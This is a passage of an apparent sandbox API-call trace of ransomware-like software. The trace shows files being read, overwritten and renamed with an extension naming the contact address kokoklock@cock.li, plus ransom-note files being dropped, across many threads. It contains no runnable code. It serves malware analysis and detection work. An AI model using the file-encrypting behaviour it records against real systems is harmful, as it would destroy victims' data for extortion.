returned 0x85f66fac [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x7b7c3601 [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0xe9cfa930 [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x13d5e1b0 [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x43eb0ff9 [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x8b5c4b91 [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0xe4a7d19 [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x16d414e3 [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x6255d7f6 [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0xb6091e36 [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0xdaf707d2 [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x7501b98a [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x143c731e [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x8bc46c23 [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x22770ccf [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0xc31d01d [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0xd66804c4 [0178.523] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x7a11850f [0178.537] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.537] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2cc7f820, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2cc7f820*=0x4096, lpOverlapped=0x0) returned 1 [0178.538] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.538] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0178.538] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88eb0 [0178.539] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97c00 [0178.539] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97c00) returned 1 [0178.539] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.539] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97c00 [0178.539] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97cc8 [0178.539] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97cc8) returned 1 [0178.539] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88eb0) returned 1 [0178.539] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0178.539] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2cc7f820, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2cc7f820*=0x4096, lpOverlapped=0x0) returned 1 [0178.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.540] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0xbcff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.540] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97c00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cc7f858, lpOverlapped=0x0 | out: lpBuffer=0x2f97c00*, lpNumberOfBytesWritten=0x2cc7f858*=0x20, lpOverlapped=0x0) returned 1 [0178.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97c00) returned 1 [0178.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.540] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97bd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cc7f86c, lpOverlapped=0x0 | out: lpBuffer=0x2f97bd8*, lpNumberOfBytesWritten=0x2cc7f86c*=0x8, lpOverlapped=0x0) returned 1 [0178.540] WriteFile (in: hFile=0x6f4, lpBuffer=0x2cc7f884*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cc7f86c, lpOverlapped=0x0 | out: lpBuffer=0x2cc7f884*, lpNumberOfBytesWritten=0x2cc7f86c*=0x4, lpOverlapped=0x0) returned 1 [0178.540] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cc7f86c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2cc7f86c*=0x4, lpOverlapped=0x0) returned 1 [0178.541] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2cc7f86c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2cc7f86c*=0x6c, lpOverlapped=0x0) returned 1 [0178.541] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97d40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cc7f86c, lpOverlapped=0x0 | out: lpBuffer=0x2f97d40*, lpNumberOfBytesWritten=0x2cc7f86c*=0x20, lpOverlapped=0x0) returned 1 [0178.541] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cc7f86c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2cc7f86c*=0x4, lpOverlapped=0x0) returned 1 [0178.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d40) returned 1 [0178.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d68) returned 1 [0178.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97bd8) returned 1 [0178.541] CloseHandle (hObject=0x6f4) returned 1 [0178.541] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe2010 [0178.541] wcscpy (in: _Dest=0x2fe2010, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731" [0178.541] wcscat (in: _Dest=0x2fe2010, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.541] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\dtzq\\h uzjvuzquyzczzn5gkb.pdf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\dtzq\\h uzjvuzquyzczzn5gkb.pdf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.543] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.543] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2010) returned 1 [0178.543] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x3057278 [0178.543] wcscpy (in: _Dest=0x3057278, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\" [0178.543] wcscat (in: _Dest=0x3057278, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\D0E731-Readme.txt" [0178.543] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\dtzq\\d0e731-readme.txt")) returned 0x20 [0178.543] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057278) returned 1 [0178.544] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054ef0) returned 1 [0178.544] RtlExitUserThread (Status=0x1) Thread: id = 2748 os_tid = 0x378 [0178.545] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml")) returned 0x20 [0178.545] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml", dwFileAttributes=0x20) returned 0 [0178.545] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.545] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml", dwFileAttributes=0x20) returned 0 [0178.546] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92b40) returned 1 [0178.546] RtlExitUserThread (Status=0x0) Thread: id = 2749 os_tid = 0x5a8 [0178.547] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml")) returned 0x20 [0178.547] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", dwFileAttributes=0x20) returned 0 [0178.547] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.547] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", dwFileAttributes=0x20) returned 0 [0178.547] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5f50) returned 1 [0178.547] RtlExitUserThread (Status=0x0) Thread: id = 2750 os_tid = 0xcc4 [0178.549] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml")) returned 0x20 [0178.549] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml", dwFileAttributes=0x20) returned 0 [0178.549] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.549] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml", dwFileAttributes=0x20) returned 0 [0178.549] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92ca8) returned 1 [0178.549] RtlExitUserThread (Status=0x0) Thread: id = 2751 os_tid = 0x368 [0178.551] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml")) returned 0x20 [0178.552] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", dwFileAttributes=0x20) returned 0 [0178.552] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.552] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", dwFileAttributes=0x20) returned 0 [0178.552] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92e18) returned 1 [0178.552] RtlExitUserThread (Status=0x0) Thread: id = 2752 os_tid = 0x918 [0178.553] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.893] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.893] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.893] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.893] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0178.893] RtlExitUserThread (Status=0x0) Thread: id = 2753 os_tid = 0x8e4 [0178.554] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0178.891] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.891] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.892] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.892] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92f68) returned 1 [0178.892] RtlExitUserThread (Status=0x0) Thread: id = 2754 os_tid = 0x8cc [0178.554] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.890] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.890] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.890] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.890] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d470) returned 1 [0178.890] RtlExitUserThread (Status=0x0) Thread: id = 2755 os_tid = 0x980 [0178.555] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0178.889] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.889] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.889] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.889] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d5c8) returned 1 [0178.889] RtlExitUserThread (Status=0x0) Thread: id = 2756 os_tid = 0x830 [0178.555] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.888] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.888] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.888] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d720) returned 1 [0178.888] RtlExitUserThread (Status=0x0) Thread: id = 2757 os_tid = 0x97c [0178.556] GetFileAttributesW (lpFileName="C:\\Users\\All 